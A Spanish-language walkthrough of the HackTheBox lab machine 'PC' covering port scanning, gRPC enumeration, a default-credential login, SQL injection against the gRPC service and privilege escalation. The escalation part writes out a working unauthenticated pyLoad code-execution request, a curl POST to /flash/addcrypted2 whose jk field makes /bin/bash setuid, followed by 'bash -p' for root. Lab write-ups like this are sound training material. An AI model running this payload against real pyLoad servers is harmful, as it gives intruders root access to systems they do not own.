PC es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina PC 10.10.11.214 a /etc/hosts como pc.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
nmap -sV -Pn -p- -oA enumeration/nmap 10.10.11.214 Nmap scan report for pc.htb (10.10.11.214) Host is up (0.042s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 50051/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port50051-TCP:V=7.92%I=7%D=5/25%Time=646F860B%P=x86_64-pc-linux-gnu%r(N SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0 SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\ SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\ SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0 SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\ SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\ SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\ SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0 SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0 SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\ SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0 SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\ SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0 SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0 SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0 SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\? SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0 SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\ SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\ SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\ SF:0\0\0\0\0\?\0\0"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 25 16:00:14 2023 -- 1 IP address (1 host up) scanned in 196.45 seconds |
Encontramos dos puertos abiertos asi que vamos a ver que sacamos de los mismos.
Enumeración
Buscamos en google un poco y encontramos que el puerto 50051 corresponde la servicio de gRPC de google y encontramos un post donde explica como conectarnos al mismo.
Así que nos descargamos la herramienta de grpcui y la ejecutamos
1 2 |
$ ./grpcui -plaintext pc.htb:50051 gRPC Web UI available at http://127.0.0.1:35299/ |
para acceder al servicio y ver la siguiente ventana
Revisamos la aplicación y podemos hacer 3 cosas
- login
- registrar usuario
- getinfo
Hacemos una prueba de registrarnos con credenciales de admin por defecto
1 |
admin:admin |
Y obtenemos un token jwt
Probaremos ahora con la opción de getinfo, especificando el token y el id del usuario obtenido y obtenemos el siguiente mensaje
Interceptamos la petición con burp y después de unas cuentas pruebas descubrimos una vulnerabilidad de sqli y obtenemos la base de datos accounts y dos usuarios
Seguimos buscando y obtenemos también las credenciales de los usuarios
Obteniendo la flag de user
Probamos el acceso por ssh con uno de los usuarios y estamos dentro y tenemos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 |
$ ssh sau@pc.htb sau@pc.htb's password: Last login: Thu May 25 16:23:57 2023 from 10.10.14.13 sau@pc:~$ id uid=1001(sau) gid=1001(sau) groups=1001(sau) sau@pc:~$ ls -l total 3416 drwx------ 3 sau sau 4096 May 25 16:15 snap -rw-r----- 1 root sau 33 May 25 15:55 user.txt sau@pc:~$ cat user.txt a0xxxxxxxxxxxxxxxxxxxxxxxxx71 sau@pc:~$ |
Escalado de privilegios
Enumeramos servicios en la máquina y observamos un puerto interesante
1 2 3 4 5 6 7 8 9 10 11 12 13 |
sau@pc:~$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN tcp 0 208 10.10.11.214:22 10.10.14.9:48692 ESTABLISHED tcp 0 0 10.10.11.214:22 10.10.14.13:52254 ESTABLISHED tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::50051 :::* LISTEN tcp6 0 0 10.10.11.214:50051 10.10.14.13:50008 ESTABLISHED tcp6 0 0 10.10.11.214:50051 10.10.14.9:48194 ESTABLISHED |
Probamos con un curl el puerto 8000 y vemos que hay otra página web en el mismo
1 2 3 4 5 6 7 |
sau@pc:~$ curl 127.0.0.1:8000 <!doctype html> <html lang=en> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link. sau@pc:~$ |
Así que vamos a redireccionarnos el puerto mediante el acceso por ssh
1 |
$ ssh -L 8000:127.0.0.1:8000 sau@pc.htb |
Y accedemos a través del navegador viendo la siguiente página
Se trata del software de pyload, así que buscamos en google y encontramos una vulnerabilidad de ejecución de código arbitrario sin autenticar en un portal de bug bounty.
Para probarlo vamos a codificar el siguiente código que dará permisos de suid al binario de bash
1 |
pyimport os;os.system("chmod u+s /bin/bash");f=function f2(){}; |
Y lanzaremos la petición POST con curl
1 2 3 4 5 6 7 8 9 10 11 12 |
$ curl -i -s -k -X $'POST' --data-binary $'package=xxx&crypted=AAAA&jk=pyimport%20os%3Bos.system%28%22chmod%20u%2Bs%20%2Fbin%2Fbash%22%29%3Bf%3Dfunction%20f2%28%29%7B%7D%3B&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2' HTTP/1.1 500 INTERNAL SERVER ERROR Content-Type: text/html; charset=utf-8 Content-Length: 21 Access-Control-Max-Age: 1800 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, GET, POST Vary: Accept-Encoding Date: Thu, 25 May 2023 16:55:08 GMT Server: Cheroot/8.6.0 Could not decrypt key |
Una vez ejecutado, verificamos y vemos como realmente ha añadido el bit de suid al binario de bash
1 2 |
sau@pc:~$ ll /bin/bash -rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash* |
Obteniendo la flag de root
Con la ejecución de nuestro payload, sólo nos queda escalar a root e ir a por la flag
1 2 3 4 5 6 |
sau@pc:~$ bash -p bash-5.0# id uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau) bash-5.0# bash-5.0# cat /root/root.txt 36cccccccccccccccccccccccccc40 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace